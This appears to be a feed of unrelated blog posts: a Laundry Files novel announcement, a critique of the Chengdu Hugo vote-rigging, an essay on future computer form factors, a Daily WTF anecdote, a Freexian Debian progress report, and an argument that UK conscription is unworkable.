(You probably expected this announcement a while ago ...)

I've just signed a new two book deal with my publishers, Tor.com publishing in the USA/Canada and Orbit in the UK/rest of world, and the book I'm talking about here and now—the one that's already written and delivered to the Production people who turn it into a thing you'll be able to buy later this year—is a Laundry stand-alone titled "A Conventional Boy".

("Delivered to production" means it is now ready to be copy-edited, typeset, printed/bound/distributed and simultaneously turned into an ebook and pushed through the interwebbytubes to the likes of Kobo and Kindle. I do not have a publication date or a link where you can order it yet: it almost certainly can't show up before July at this point. Yes, everything is running late. No, I have no idea why.)

"A Conventional Boy" is not part of the main (and unfinished) Laundry Files story arc. Nor is it a New Management story. It's a stand-alone story about Derek the DM, set some time between the end of "The Fuller Memorandum" and before "The Delirium Brief". We met Derek originally in "The Nightmare Stacks", and again in "The Labyrinth Index": he's a portly, short-sighted, middle-aged nerd from the Laundry's Forecasting Ops department who also just happens to be the most powerful precognitive the Laundry has tripped over in the past few decades—and a role playing gamer.

When Derek was 14 years old and running a D&D campaign, a schoolteacher overheard him explaining D&D demons to his players and called a government tips hotline. Thirty-odd years later Derek has lived most of his life in Camp Sunshine, the Laundry's magical Gitmo for Elder God cultists. As a trusty/"safe" inmate, he produces the camp newsletter and uses his postal privileges to run a play-by-mail RPG. One day, two pieces of news cross Derek's desk: the camp is going to be closed down and rebuilt as a real prison, and a games convention is coming to the nearest town.

Camp Sunshine is officially escape-proof, but Derek has had a foolproof escape plan socked away for the past decade. He hasn't used it because until now he's never had anywhere to escape to. But now he's facing the demolition of his only home, and he has a destination in mind. Come hell or high water, Derek intends to go to his first ever convention. Little does he realize that hell is also going to the convention ...

I began writing "A Conventional Boy" in 2009, thinking it'd make a nice short story. It went on hold for far too long (it was originally meant to come out before "The Nightmare Stacks"!) but instead it lingered ... then when I got back to work on it, the story ran away and grew into a short novel in its own right. As it's rather shorter than the other Laundry novels (although twice as long as, say, "Equoid") the book also includes "Overtime" and "Escape from Yokai Land", both Laundry Files novelettes about Bob, and an afterword providing some background on the 1980s Satanic D&D Panic for readers who don't remember it (which sadly means anyone much younger than myself).

Questions? Ask me anything!

You've probably seen news reports that the Hugo awards handed out last year at the world science fiction convention in Chengdu were rigged. For example: Science fiction awards held in China under fire for excluding authors.

The Guardian got bits of the background wrong, but what's undeniably true is that it's a huge mess. And the key point the press and most of the public miss is that they seem to think there's some sort of worldcon organization that can fix this.

Spoiler: there isn't.

(Caveat: what follows below the cut line is my brain dump, from 20km up, in lay terms, of what went wrong. I am not a convention runner and I haven't been following the Chengdu mess obsessively. If you want the inside baseball deets, read the File770 blog. If you want to see the rulebook, you can find it here (along with a bunch more stuff). I am on the outside of the fannish discourse and flame wars on this topic, and I may have misunderstood some of the details. I'm open to authoritative corrections and will update if necessary.)

SF conventions are generally fan-run (amateur) get-togethers, run on a non-profit/volunteer basis. There are some exceptions (the big Comiccons like SDCC, a couple of really large fan conventions that out-grew the scale volunteers can run them on so pay full-time staff) but generally they're very amateurish.

SF conventions arose organically out of SF fan clubs that began holding face to face meet-ups in the 1930s. Many of them are still run by local fan clubs and usually they stick to the same venue for decades: for example, the long-running Boskone series of conventions in Boston is run by NESFA, the New England SF Association; Novacon in the UK is run by the Birmingham SF Group. Both have been going for over 50 years now.

Others are less location-based. In the UK, there are the British Eastercons held over the easter (long) bank holiday weekend every year in a different city. It's a notionally national SF convention, although historically it's tended to be London-centric. They're loosely associated with the BSFA, which announces it's own SF awards (the BSFA awards) at the eastercon.

Because it's hard to run a convention when you live 500km from the venue, local SF societies or organizer teams talk to hotels and put together a bid for the privilege of working their butts off for a weekend. Then, a couple of years before the convention, there's a meeting and a vote at the preceding-but-one con in the series where the members vote on where to hold that year's convention.

Running a convention is not expense-free, so it's normal to charge for membership. (Nobody gets paid, but conventions host guests of honour—SF writers, actors, and so on—and they get their membership, hotel room, and travel expenses comped in the expectation that they'll stick around and give talks/sign books/shake hands with the members.)

What's less well-known outside the bubble is that it's also normal to offer "pre-supporting" memberships (to fund a bid) and "supporting" memberships (you can't make it to the convention that won the bidding war but you want to make a donation). Note that such partial memberships are upgradable later for the difference in cost if you decide to attend the event.

The world science fiction convention is the name of a long-running series of conventions (the 82nd one is in Glasgow this August) that are held annually. There is a rule book for running a worldcon. For starters, the venue is decided by a bidding war between sites (as above). For seconds, members of the convention are notionally buying membership, for one year, in the World Science Fiction Society (WSFS). The rule book for running a worldcon is the WSFS constitution, and it lays down the rules for:

• Voting on where the next-but-one worldcon will be held ("site selection")
• Holding a business meeting where motions to amend the WSFS constitution can be discussed and voted on (NB: to be carried a motion must be proposed and voted through at two consecutive worldcons)
• Running the Hugo awards

The important thing to note is that the "worldcon" is *not a permanent organization. It's more like a virus that latches onto an SF convention, infects it with worldcon-itis, runs the Hugo awards and the WSFS business meeting, then selects a new convention to parasitize the year after next.

No worldcon binds the hands of the next worldcon, it just passes the baton over in the expectation that the next baton-holder will continue the process rather than, say, selling the baton off to be turned into matchsticks.

This process worked more or less fine for eighty years, until it ran into Chengdu.

Worldcons are volunteer, fan-organized, amateur conventions. They're pretty big: the largest hit roughly 14,000 members, and they average 4000-8000. (I know of folks who used "worked on a British eastercon committee" as their dissertation topic for degrees in Hospitality Management; you don't get to run a worldcon committee until you're way past that point.) But SF fandom is a growing community thing in China. And even a small regional SF convention in China is quite gigantic by most western (trivially, US/UK) standards.

My understanding is that a bunch of Chinese fans who ran a successful regional convention in Chengdu (population 21 million; slightly more than the New York metropolitan area, about 30% more than London and suburbs) heard about the worldcon and thought "wouldn't it be great if we could call ourselves the world science fiction convention?"

They put together a bid, then got a bunch of their regulars to cough up $50 each to buy a supporting membership in the 2021 worldcon and vote in site selection. It doesn't take that many people to "buy" a worldcon—I seem to recall it's on the order of 500-700 votes—so they bought themselves the right to run the worldcon in 2023. And that's when the fun and games started.

See, Chinese fandom is relatively isolated from western fandom. And the convention committee didn't realize that there was this thing called the WSFS Constitution which set out rules for stuff they had to do. I gather they didn't even realize they were responsible for organizing the nomination and voting process for the Hugo awards, commissioning the award design, and organizing an awards ceremony, until about 12 months before the convention (which is short notice for two rounds of voting. commissioning a competition between artists to design the Hugo award base for that year, and so on). So everything ran months too late, and they had to delay the convention, and most of the students who'd pitched in to buy those bids could no longer attend because of bad timing, and worse ... they began picking up an international buzz, which in turn drew the attention of the local Communist Party, in the middle of the authoritarian clamp-down that's been intensifying for the past couple of years. (Remember, it takes a decade to organize a successful worldcon from initial team-building to running the event. And who imagined our existing world of 2023 back in 2013?)

The organizers appear to have panicked.

First they arbitrarily disqualified a couple of very popular works by authors who they thought might offend the Party if they won and turned up to give an acceptance speech (including "Babel", by R. F. Kuang, which won the Nebula and Locus awards in 2023 and was a favourite to win the Hugo as well).

Then they dragged their heels on releasing the vote counts—the WSFS Constitution requires the raw figures to be released after the awards are handed out.

Then there were discrepancies in the count of votes cast, such that the raw numbers didn't add up.

The haphazard way they released the data suggests that the 911 call is coming from inside the house: the convention committee freaked out when they realized the convention had become a political hot potato, rigged the vote badly, and are now farting smoke signals as if to say "a secret policeman hinted that it could be very unfortunate if we didn't anticipate the Party's wishes".

My take-away:

The world science fiction convention coevolved with fan-run volunteer conventions in societies where there's a general expectation of the rule of law and most people abide by social norms irrespective of enforcement. The WSFS constitution isn't enforceable except insofar as normally fans see no reason not to abide by the rules. So it works okay in the USA, the UK, Canada, the Netherlands, Japan, Australia, New Zealand, and all the other western-style democracies it's been held in ... but broke badly when a group of enthusiasts living in an authoritarian state won the bid then realized too late that by doing so they'd come to the attention of Very Important People who didn't care about their society's rulebook.

Immediate consequences:

For the first fifty or so worldcons, worldcon was exclusively a North American phenomenon except for occasional sorties to the UK. Then it began to open up as cheap air travel became a thing. In the 21st century about 50% of worldcons are held outside North America, and until 2016 there was an expectation that it would become truly international.

But the Chengdu fubar has created shockwaves. There's no immediate way to fix this, any more than you'll be able to fix Donald Trump declaring himself dictator-for-life on the Ides of March in 2025 if he gets back into the White House with a majority in the House and Senate. It needs a WSFS constitutional amendment at least (so pay attention to the motions and voting in Glasgow, and then next year, in Seattle) just to stop it happening again. And nobody has ever tried to retroactively invalidate the Hugo awards. While there's a mechanism for running Hugo voting and handing out awards for a year in which there was no worldcon (the Retrospective Hugo awards—for example, the 1945 Hugo Awards were voted on in 2020—nobody considered the need to re-run the Hugos for a year in which the vote was rigged. So there's no mechanism.

The fallout from Chengdu has probably sunk several other future worldcon bids—and it's not as if there are a lot of teams competing for the privilege of working themselves to death: Glasgow and Seattle (2024 and 2025) both won their bidding by default because they had experienced, existing worldcon teams and nobody else could be bothered turning up. So the Ugandan worldcon bid has collapsed (and good riddance, many fans would vote NO WORLDCON in preference to a worldcon in a nation that recently passed a law making homosexuality a capital offense). The Saudi Arabian bid also withered on the vine, but took longer to finally die. They shifted their venue to Cairo in a desperate attempt to overcome Prince Bone-saw's negative PR optics, but it hit the buffers when the Egyptian authorities refused to give them the necessary permits. Then there's the Tel Aviv bid. Tel Aviv fans are lovely people, but I can't see an Israeli worldcon being possible in the foreseeable future (too many genocide cooties right now). Don't ask about Kiev (before February 2022 they were considering bidding for the Eurocon). And in the USA, the prognosis for successful Texas and Florida worldcon bids are poor (book banning does not go down well with SF fans).

Beyond Seattle in 2025, the sole bid standing for 2026 (now the Saudi bid has died) is Los Angeles. Tel Aviv is still bidding for 2027, but fat chance: Uganda is/was targeting 2028, and there was some talk of a Texas bid in 2029 (all these are speculative bids and highly unlikely to happen in my opinion). I am also aware of a bid for a second Dublin worldcon (they've got a shiny new conference centre), targeting 2029 or 2030. There may be another Glasgow or London bid in the mid-30s, too. But other than that? I'm too out of touch with current worldcon politics to say, other than, watch this space (but don't buy the popcorn from the concession stand, it's burned and bitter).

UPDATE

A commenter just drew my attention to this news item on China.org.cn, dated October 23rd, 2023, right after the worldcon. It begins:

Investment deals valued at approximately $1.09 billion were signed during the 81st World Science Fiction Convention (Worldcon) held in Chengdu, Sichuan province, last week at its inaugural industrial development summit, marking significant progress in the advancement of sci-fi development in China.

The deals included 21 sci-fi industry projects involving companies that produce films, parks, and immersive sci-fi experiences ..."

That's a metric fuckton of moolah in play, and it would totally account for the fan-run convention folks being discreetly elbowed out of the way and the entire event being stage-managed as a backdrop for a major industrial event to bootstrap creative industries (film, TV, and games) in Chengdu. And—looking for the most charitable interpretation here—the hapless western WSFS people being carried along for the ride to provide a veneer of worldcon-ness to what was basically Chinese venture capital hijacking the event and then sanitizing it politically.

Follow the money.

Introduction

There have been many experiments with the sizes of computers, some of which have stayed around and some have gone away. The trend has been to make computers smaller, the early computers had buildings for them. Recently for come classes computers have started becoming as small as could be reasonably desired. For example phones are thin enough that they can blow away in a strong breeze, smart watches are much the same size as the old fashioned watches they replace, and NUC type computers are as small as they need to be given the size of monitors etc that they connect to.

This means that further development in the size and shape of computers will largely be determined by human factors.

I think we need to consider how computers might be developed to better suit humans and how to write free software to make such computers usable without being constrained by corporate interests.

Those of us who are involved in developing OSs and applications need to consider how to adjust to the changes and ideally anticipate changes. While we can’t anticipate the details of future devices we can easily predict general trends such as being smaller, higher resolution, etc.

Desktop/Laptop PCs

When home computers first came out it was standard to have the keyboard in the main box, the Apple ][ being the most well known example. This has lost popularity due to the demand to have multiple options for a light keyboard that can be moved for convenience combined with multiple options for the box part. But it still pops up occasionally such as the Raspberry Pi 400 [1] which succeeds due to having the computer part being small and light. I think this type of computer will remain a niche product. It could be used in a “add a screen to make a laptop” as opposed to the “add a keyboard to a tablet to make a laptop” model – but a tablet without a keyboard is more useful than a non-server PC without a display.

The PC as “box with connections for keyboard, display, etc” has a long future ahead of it. But the sizes will probably decrease (they should have stopped making PC cases to fit CD/DVD drives at least 10 years ago). The NUC size is a useful option and I think that DVD drives will stop being used for software soon which will allow a range of smaller form factors.

The regular laptop is something that will remain useful, but the tablet with detachable keyboard devices could take a lot of that market. Full functionality for all tasks requires a keyboard because at the moment text editing with a touch screen is an unsolved problem in computer science [2].

The Lenovo Thinkpad X1 Fold [3] and related Lenovo products are very interesting. Advances in materials allow laptops to be thinner and lighter which leaves the screen size as a major limitation to portability. There is a conflict between desiring a large screen to see lots of content and wanting a small size to carry and making a device foldable is an obvious solution that has recently become possible. Making a foldable laptop drives a desire for not having a permanently attached keyboard which then makes a touch screen keyboard a requirement. So this means that user interfaces for PCs have to be adapted to work well on touch screens. The Think line seems to be continuing the history of innovation that it had when owned by IBM. There are also a range of other laptops that have two regular screens so they are essentially the same as the Thinkpad X1 Fold but with two separate screens instead of one folding one, prices are as low as $600US.

I think that the typical interfaces for desktop PCs (EG MS-Windows and KDE) don’t work well for small devices and touch devices and the Android interface generally isn’t a good match for desktop systems. We need to invent more options for this. This is not a criticism of KDE, I use it every day and it works well. But it’s designed for use cases that don’t match new hardware that is on sale. As an aside it would be nice if Lenovo gave samples of their newest gear to people who make significant contributions to GUIs. Give a few Thinkpad Fold devices to KDE people, a few to GNOME people, and a few others to people involved in Wayland development and see how that promotes software development and future sales.

We also need to adopt features from laptops and phones into desktop PCs. When voice recognition software was first released in the 90s it was for desktop PCs, it didn’t take off largely because it wasn’t very accurate (none of them recognised my voice). Now voice recognition in phones is very accurate and it’s very common for desktop PCs to have a webcam or headset with a microphone so it’s time for this to be re-visited. GPS support in laptops is obviously useful and can work via Wifi location, via a USB GPS device, or via wwan mobile phone hardware (even if not used for wwan networking). Another possibility is using the same software interfaces as used for GPS on laptops for a static definition of location for a desktop PC or server.

The Interesting New Things

Watch Like

The wrist-watch [4] has been a standard format for easy access to data when on the go since it’s military use at the end of the 19th century when the practical benefits beat the supposed femininity of the watch. So it seems most likely that they will continue to be in widespread use in computerised form for the forseeable future. For comparison smart phones have been in widespread use as “pocket watches” for about 10 years.

The question is how will watch computers end up? Will we have Dick Tracy style watch phones that you speak into? Will it be the current smart watch functionality of using the watch to answer a call which goes to a bluetooth headset? Will smart watches end up taking over the functionality of the calculator watch [5] which was popular in the 80’s? With today’s technology you could easily have a fully capable PC strapped to your forearm, would that be useful?

Phone Like

Folding phones (originally popularised as Star Trek Tricorders) seem likely to have a long future ahead of them. Engineering technology has only recently developed to the stage of allowing them to work the way people would hope them to work (a folding screen with no gaps). Phones and tablets with multiple folds are coming out now [6]. This will allow phones to take much of the market share that tablets used to have while tablets and laptops merge at the high end. I’ve previously written about Convergence between phones and desktop computers [7], the increased capabilities of phones adds to the case for Convergence.

Folding phones also provide new possibilities for the OS. The Oppo OnePlus Open and the Google Pixel Fold both have a UI based around using the two halves of the folding screen for separate data at some times. I think that the current user interfaces for desktop PCs don’t properly take advantage of multiple monitors and the possibilities raised by folding phones only adds to the lack. My pet peeve with multiple monitor setups is when they don’t make it obvious which monitor has keyboard focus so you send a CTRL-W or ALT-F4 to the wrong screen by mistake, it’s a problem that also happens on a single screen but is worse with multiple screens. There are rumours of phones described as “three fold” (where three means the number of segments – with two folds between them), it will be interesting to see how that goes.

Will phones go the same way as PCs in terms of having a separation between the compute bit and the input device? It’s quite possible to have a compute device in the phone form factor inside a secure pocket which talks via Bluetooth to another device with a display and speakers. Then you could change your phone between a phone-size display and a tablet sized display easily and when using your phone a thief would not be able to easily steal the compute bit (which has passwords etc). Could the “watch” part of the phone (strapped to your wrist and difficult to steal) be the active part and have a tablet size device as an external display? There are already announcements of smart watches with up to 1GB of RAM (same as the Samsung Galaxy S3), that’s enough for a lot of phone functionality.

The Rabbit R1 [8] and the Humane AI Pin [9] have some interesting possibilities for AI speech interfaces. Could that take over some of the current phone use? It seems that visually impaired people have been doing badly in the trend towards touch screen phones so an option of a voice interface phone would be a good option for them. As an aside I hope some people are working on AI stuff for FOSS devices.

Laptop Like

One interesting PC variant I just discovered is the Higole 2 Pro portable battery operated Windows PC with 5.5″ touch screen [10]. It looks too thick to fit in the same pockets as current phones but is still very portable. The version with built in battery is $AU423 which is in the usual price range for low end laptops and tablets. I don’t think this is the future of computing, but it is something that is usable today while we wait for foldable devices to take over.

The recent release of the Apple Vision Pro [11] has driven interest in 3D and head mounted computers. I think this could be a useful peripheral for a laptop or phone but it won’t be part of a primary computing environment. In 2011 I wrote about the possibility of using augmented reality technology for providing a desktop computing environment [12]. I wonder how a Vision Pro would work for that on a train or passenger jet.

Another interesting thing that’s on offer is a laptop with 7″ touch screen beside the keyboard [13]. It seems that someone just looked at what parts are available cheaply in China (due to being parts of more popular devices) and what could fit together. I think a keyboard should be central to the monitor for serious typing, but there may be useful corner cases where typing isn’t that common and a touch-screen display is of use. Developing a range of strange hardware and then seeing which ones get adopted is a good thing and an advantage of Ali Express and Temu.

Useful Hardware for Developing These Things

I recently bought a second hand Thinkpad X1 Yoga Gen3 for $359 which has stylus support [14], and it’s generally a great little laptop in every other way. There’s a common failure case of that model where touch support for fingers breaks but the stylus still works which allows it to be used for testing touch screen functionality while making it cheap.

The PineTime is a nice smart watch from Pine64 which is designed to be open [15]. I am quite happy with it but haven’t done much with it yet (apart from wearing it every day and getting alerts etc from Android). At $50 when delivered to Australia it’s significantly more expensive than most smart watches with similar features but still a lot cheaper than the high end ones. Also the Raspberry Pi Watch [16] is interesting too.

The PinePhonePro is an OK phone made to open standards but it’s hardware isn’t as good as Android phones released in the same year [17]. I’ve got some useful stuff done on mine, but the battery life is a major issue and the screen resolution is low. The Librem 5 phone from Purism has a better hardware design for security with switches to disable functionality [18], but it’s even slower than the PinePhonePro. These are good devices for test and development but not ones that many people would be excited to use every day.

Wwan hardware (for accessing the phone network) in M.2 form factor can be obtained for free if you have access to old/broken laptops. Such devices start at about $35 if you want to buy one. USB GPS devices also start at about $35 so probably not worth getting if you can get a wwan device that does GPS as well.

What We Must Do

Debian appears to have some voice input software in the pocketsphinx package but no documentation on how it’s to be used. This would be a good thing to document, I spent 15 mins looking at it and couldn’t get it going.

To take advantage of the hardware features in phones we need software support and we ideally don’t want free software to lag too far behind proprietary software – which IMHO means the typical Android setup for phones/tablets.

Support for changing screen resolution is already there as is support for touch screens. Support for adapting the GUI to changed screen size is something that needs to be done – even today’s hardware of connecting a small laptop to an external monitor doesn’t have the ideal functionality for changing the UI. There also seem to be some limitations in touch screen support with multiple screens, I haven’t investigated this properly yet, it definitely doesn’t work in an expected manner in Ubuntu 22.04 and I haven’t yet tested the combinations on Debian/Unstable.

ML is becoming a big thing and it has some interesting use cases for small devices where a smart device can compensate for limited input options. There’s a lot of work that needs to be done in this area and we are limited by the fact that we can’t just rip off the work of other people for use as training data in the way that corporations do.

Security is more important for devices that are at high risk of theft. The vast majority of free software installations are way behind Android in terms of security and we need to address that. I have some ideas for improvement but there is always a conflict between security and usability and while Android is usable for it’s own special apps it’s not usable in a “I want to run applications that use any files from any other applicationsin any way I want” sense. My post about Sandboxing Phone apps is relevant for people who are interested in this [19]. We also need to extend security models to cope with things like “ok google” type functionality which has the potential to be a bug and the emerging class of LLM based attacks.

I will write more posts about these thing.

Please write comments mentioning FOSS hardware and software projects that address these issues and also documentation for such things.

• [1] https://www.raspberrypi.com/products/raspberry-pi-400/
• [2] https://jenson.org/text/
• [3] http://tinyurl.com/27lrakl6
• [4] https://en.wikipedia.org/wiki/Watch
• [5] https://en.wikipedia.org/wiki/Calculator_watch
• [6] http://tinyurl.com/27gb7zrq
• [7] https://etbe.coker.com.au/2023/05/29/considering-convergence/
• [8] http://tinyurl.com/yuurhkvm
• [9] http://tinyurl.com/ytmw42bt
• [10] https://www.aliexpress.com/store/1103322555
• [11] https://en.wikipedia.org/wiki/Apple_Vision_Pro
• [12] https://etbe.coker.com.au/2011/10/28/desktop-augmented-reality/
• [13] https://www.aliexpress.com/item/1005005999353358.html
• [14] https://etbe.coker.com.au/2024/01/29/thinkpad-x1-yoga-gen3/
• [15] https://etbe.coker.com.au/2023/10/21/more-about-pinetime/
• [16] http://tinyurl.com/24myjjqn
• [17] https://etbe.coker.com.au/2023/10/11/pinephone-status/
• [18] https://etbe.coker.com.au/2022/03/19/more-librem5/
• [19] https://etbe.coker.com.au/2023/07/08/sandboxing-phone-apps/

Branon's boss, Steve, came storming into his cube. From the look of panic on his face, it was clear that this was a full hair-on-fire emergency.

"Did we change anything this weekend?"

"No," Branon said. "We never deploy on a weekend."

"Well, something must have changed?!"

After a few rounds of this, Steve's panic wore off and he explained a bit more clearly. Every night, their application was supposed to generate a set of nightly reports and emailed them out. These reports went to a number of people in the company, up to and including the CEO. Come Monday morning, the CEO checked his inbox and horror of horror- there was no report!

"And going back through people's inboxes, this seems like it's been a problem for months- nobody seems to have received one for months."

"Why are they just noticing now?" Branon asked.

"That's really not the problem here. Can you investigate why the emails aren't going out?"

Branon put aside his concerns, and agreed to dig through and debug the problem. Given that it involved sending emails, Branon was ready to spend a long time trying to debug whatever was going wrong in the chain. Instead, finding the problem only took about two minutes, and most of that was spent getting coffee.

public void Send()
{
    //TODO: send email here
}

This application had been in production over a year. This function had not been modified in that time. So while it's technically true that no one had received a report "for months" (16 months is a number of months), it would probably have been more accurate to say that they had never received a report. Now, given that it had been over a year, you'd think that maybe this report wasn't that important, but now that the CEO had noticed, it was the most important thing at the company. Work on everything else stopped until this was done- mind you, it only took one person a few hours to implement and test the feature, but still- work on everything else stopped.

A few weeks later a new ticket was opened: people felt that the nightly reports were too frequent, and wanted to instead just go to the site to pull the report, which is what they had been doing for the past 16 months.

[Advertisement] Keep the plebs out of prod. Restrict NuGet feed privileges with ProGet. Learn more.

Author: Frederick Charles Melancon The scars don’t glow like they once did, yet around my pants’ cuffs, neon-green halos still light my ankles. Mom used to love halos—hanging glass circles around the house to create them. But these marks from the bombing blasts on Mars shine so bright that they still keep me up at […]

The post Always in Line appeared first on 365tomorrows.

Contributing to Debian is part of Freexian’s mission. This article covers the latest achievements of Freexian and their collaborators. All of this is made possible by organizations subscribing to our Long Term Support contracts and consulting services.

/usr-move, by Helmut Grohne

Much of the work was spent on handling interaction with time time64 transition and sending patches for mitigating fallout. The set of packages relevant to debootstrap is mostly converted and the patches for glibc and base-files have been refined due to feedback from the upload to Ubuntu noble. Beyond this, he sent patches for all remaining packages that cannot move their files with dh-sequence-movetousr and packages using dpkg-divert in ways that dumat would not recognize.

Upcoming improvements to Salsa CI, by Santiago Ruano Rincón

Last month, Santiago Ruano Rincón started the work on integrating sbuild into the Salsa CI pipeline. Initially, Santiago used sbuild with the unshare chroot mode. However, after discussion with josch, jochensp and helmut (thanks to them!), it turns out that the unshare mode is not the most suitable for the pipeline, since the level of isolation it provides is not needed, and some test suites would fail (eg: krb5). Additionally, one of the requirements of the build job is the use of ccache, since it is needed by some C/C++ large projects to reduce the compilation time. In the preliminary work with unshare last month, it was not possible to make ccache to work.

Finally, Santiago changed the chroot mode, and now has a couple of POC (cf: 1 and 2) that rely on the schroot and sudo, respectively. And the good news is that ccache is successfully used by sbuild with schroot!

The image here comes from an example of building grep. At the end of the build, ccache -s shows the statistics of the cache that it used, and so a little more than half of the calls of that job were cacheable. The most important pieces are in place to finish the integration of sbuild into the pipeline.

Other than that, Santiago also reviewed the very useful merge request !346, made by IOhannes zmölnig to autodetect the release from debian/changelog. As agreed with IOhannes, Santiago is preparing a merge request to include the release autodetection use case in the very own Salsa CI’s CI.

Packaging simplemonitor, by Carles Pina i Estany

Carles started using simplemonitor in 2017, opened a WNPP bug in 2022 and started packaging simplemonitor dependencies in October 2023. After packaging five direct and indirect dependencies, Carles finally uploaded simplemonitor to unstable in February.

During the packaging of simplemonitor, Carles reported a few issues to upstream. Some of these were to make the simplemonitor package build and run tests reproducibly. A reproducibility issue was reprotest overriding the timezone, which broke simplemonitor’s tests. There have been discussions on resolving this upstream in simplemonitor and in reprotest, too.

Carles also started upgrading or improving some of simplemonitor’s dependencies.

Miscellaneous contributions

• Stefano Rivera spent some time doing admin on debian.social infrastructure. Including dealing with a spike of abuse on the Jitsi server.
• Stefano started to prepare a new release of dh-python, including cleaning out a lot of old Python 2.x related code. Thanks to Niels Thykier (outside Freexian) for spear-heading this work.
• DebConf 24 planning is beginning. Stefano discussed venues and finances with the local team and remotely supported a site-visit by Nattie (outside Freexian).
• Also in the DebConf 24 context, Santiago took part in discussions and preparations related to the Content Team.
• A JIT bug was reported against pypy3 in Debian Bookworm. Stefano bisected the upstream history to find the patch (it was already resolved upstream) and released an update to pypy3 in bookworm.
• Enrico participated in /usr-merge discussions with Helmut.
• Colin Watson backported a python-channels-redis fix to bookworm, rediscovered while working on debusine.
• Colin dug into a cluster of celery build failures and tracked the hardest bit down to a Python 3.12 regression, now fixed in unstable. celery should be back in testing once the 64-bit time_t migration is out of the way.
• Thorsten Alteholz uploaded a new upstream version of cpdb-libs. Unfortunately upstream changed the naming of their release tags, so updating the watch file was a bit demanding. Anyway this version 2.0 is a huge step towards introduction of the new Common Print Dialog Backends.
• Helmut send patches for 48 cross build failures.
• Helmut changed debvm to use mkfs.ext4 instead of genext2fs.
• Helmut sent a debci MR for improving collector robustness.
• In preparation for DebConf 25, Santiago worked on the Brest Bid.

I am seeing newspaper headlines today along the lines of British public will be called up to fight if UK goes to war because 'military is too small', Army chief warns, and I am rolling my eyes.

The Tories run this flag up the mast regularly whenever they want to boost their popularity with the geriatric demographic who remember national service (abolished 60 years ago, in 1963). Thatcher did it in the early 80s; the Army general staff told her to piss off. And the pols have gotten the same reaction ever since. This time the call is coming from inside the house—it's a general, not a politician—but it still won't work because changes to the structure of the British society and economy since 1979 (hint: Thatcher's revolution) make it impossible.

Reasons it won't work: there are two aspects, infrastructure and labour.

Let's look at infrastructure first: if you have conscripts, it follows that you need to provide uniforms, food, and beds for them. Less obviously, you need NCOs to shout at them and teach them to brush their teeth and tie their bootlaces (because a certain proportion of your intake will have missed out on the basics). The barracks that used to be used for a large conscript army were all demolished or sold off decades ago, we don't have half a million spare army uniforms sitting in a warehouse somewhere, and the army doesn't currently have ten thousand or more spare training sergeants sitting idle.

Russia could get away with this shit when they invaded Ukraine because Russia kept national service, so the call-up mostly got adults who had been through the (highly abusive) draft some time in the preceding years. Even so, they had huge problems with conscripts sleeping rough or being sent to the front with no kit.

The UK is in a much worse place where it comes to conscription: first you have to train the NCOs (which takes a couple of years as you need to start with experienced and reasonably competent soldiers) and build the barracks. Because the old barracks? Have mostly been turned into modern private housing estates, and the RAF airfields are now civilian airports (but mostly housing estates) and that's a huge amount of construction to squeeze out of a British construction industry that mostly does skyscrapers and supermarkets these days.

And this is before we consider that we're handing these people guns (that we don't have, because there is no national stockpile of half a million spare SA-80s and the bullets to feed them, never mind spare operational Challenger-IIs) and training them to shoot. Rifles? No problem, that'll be a few weeks and a few hundred rounds of ammunition per soldier until they're competent to not blow their own foot off. But anything actually useful on the battlefield, like artillery or tanks or ATGMs? Never mind the two-way radio kit troops are expected to keep charged and dry and operate, and the protocol for using it? That stuff takes months, years, to acquire competence with. And firing off a lot of training rounds and putting a lot of kilometres on those tank tracks (tanks are exotic short-range vehicles that require maintenance like a Bugatti, not a family car). So the warm conscript bodies are just the start of it—bringing back conscription implies equipping them, so should be seen as a coded gimme for "please can has 500% budget increase" from the army.

Now let's discuss labour.

A side-effect of conscription is that it sucks able-bodied young adults out of the workforce. The UK is currently going through a massive labour supply crunch, partly because of Brexit but also because a chunk of the work force is disabled due to long COVID. A body in a uniform is not stacking shelves in Tesco or trading shares in the stock exchange. A body in uniform is a drain on the economy, not a boost.

If you want a half-million strong army, then you're taking half a million people out of the work force that runs the economy that feeds that army. At peak employment in 2023 the UK had 32.8 million fully employed workers and 1.3 million unemployed ... but you can't assume that 1.3 million is available for national service: a bunch will be medically or psychologically unfit or simply unemployable in any useful capacity. (Anyone who can't fill out the forms to register as disabled due to brain fog but who can't work due to long COVID probably falls into this category, for example.) Realistically, economists describe any national economy with 3% or less unemployment as full employment because a labour market needs some liquidity in order to avoid gridlock. And the UK is dangerously close to that right now. The average employment tenure is about 3 years, so a 3% slack across the labour pool is equivalent to one month of unemployment between jobs—there's barely time to play musical chairs, in other words.

If a notional half-million strong conscript force optimistically means losing 3% of the entire work force, that's going to cause knock-on effects elsewhere in the economy, starting with an inflationary spiral driven by wage rises as employers compete to fill essential positions: that didn't happen in the 1910-1960 era because of mass employment, collective bargaining, and wage and price controls, but the post-1979 conservative consensus has stripped away all these regulatory mechanisms. Market forces, baby!

To make matters worse, they'll be the part of the work force who are physically able to do a job that doesn't involve sitting in a chair all day. Again, Russia has reportedly been drafting legally blind diabetic fifty-somethings: it's hard to imagine them being effective soldiers in a trench war. Meanwhile, if you thought your local NHS hospital was over-stretched today, just wait until all the porters and cleaners get drafted so there's nobody to wash the bedding or distribute the meals or wheel patients in and out of theatre for surgery. And the same goes for your local supermarket, where there's nobody left to take rotting produce off the shelves and replace it with fresh—or, more annoyingly, no truckers to drive HGVs, automobile engineers to service your car, or plumbers to fix your leaky pipes. (The latter three are all gimmes for any functioning military because military organizations are all about logistics first because without logistics the shooty-shooty bang-bangs run out of ammunition really fast.) And you can't draft builders because they're all busy throwing up the barracks for the conscripts to eat, sleep, and shit in, and anyway, without builders the housing shortage is going to get even worse and you end up with more inflation ...

There are a pile of vicious feedback loops in play here, but what it boils down to is: we lack the infrastructure to return to a mass military, whether it's staffed by conscription or traditional recruitment (which in the UK has totally collapsed since the Tories outsourced recruiting to Capita in 2012). It's not just the bodies but the materiel and the crown estate (buildings to put them in). By the time you total up the cost of training an infantryman, the actual payroll saved by using conscripts rather than volunteers works out at a tiny fraction of their cost, and is pissed away on personnel who are not there willingly and will leave at the first opportunity. Meanwhile the economy has been systematically asset-stripped and looted and the general staff can't have an extra £200Bn/year to spend on top of the existing £55Bn budget because Oligarchs Need Yachts or something.

